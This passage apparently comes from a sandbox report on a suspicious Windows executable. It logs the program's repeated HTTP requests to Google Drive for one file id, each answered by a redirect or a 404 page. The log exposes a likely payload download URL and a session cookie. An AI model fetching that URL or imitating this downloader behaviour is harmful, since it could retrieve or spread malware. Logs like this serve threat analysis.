2025-01-10 14:40:32 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:31 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yf1yxCIH2KwUU7kcquzE5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	52262	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:32 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:33 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4SLsGYiHjPz9MQVJJkoc26BLu4oYhKQquwdqkDK-wlscsZvDAuJdgoNE6H7ErPhPRuuXwXY64 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:32 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-laBNzsWtaoWMY9rnk9sxWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:33 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 46 6d 2d 53 36 4c 47 62 35 51 74 4b 57 69 71 4c 77 64 38 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZFm-S6LGb5QtKWiqLwd8Lw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	52263	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:34 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:34 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zxPubz3oR14HgR85QyahmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	52264	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:35 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:35 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTanNM34eTwf832VRdI7g2hcBWVzS6Mxm5pK_tkR-eCaa9_Di4DLVsJ4OLf-s2mjb-7 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:35 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-90iwcmhoHxf74y5pcud6Cw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:35 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 6d 6e 50 74 34 5a 45 75 49 72 4d 33 79 33 6d 34 70 43 76 4f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fmnPt4ZEuIrM3y3m4pCvOQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	52265	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:36 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:36 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:36 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-HdhV9dA9ykcnTNfoHDBh3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	52266	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:37 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:37 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQhJzHgozB75gam0sM-sATueUkc-xiOce4FQxkww4vUwqrhlTNm0doDgK0_ngwFrbnt Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:37 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-7UH3_v7O71nzk3AW6Gnnxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:37 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 41 68 41 6f 6e 4d 6c 65 5f 4f 35 2d 70 4b 5f 74 42 79 67 67 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xAhAonMle_O5-pK_tByggA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	52267	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:38 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:39 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:38 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-qFjxLtb6fcR8PU6dktDtXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	52268	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:39 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:40 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Mvo9V69fHwQK2FW1Nm7173K1I8fBZLfKNAM4NzSb8bqdw8B1fab-0IM6WI9Gnr8kD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:39 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-v6NbmKre5m67uHZkn0vfWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:40 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 6f 49 72 54 71 34 73 35 31 33 78 58 39 4a 56 46 2d 71 56 6a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="noIrTq4s513xX9JVF-qVjw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	52269	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:41 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
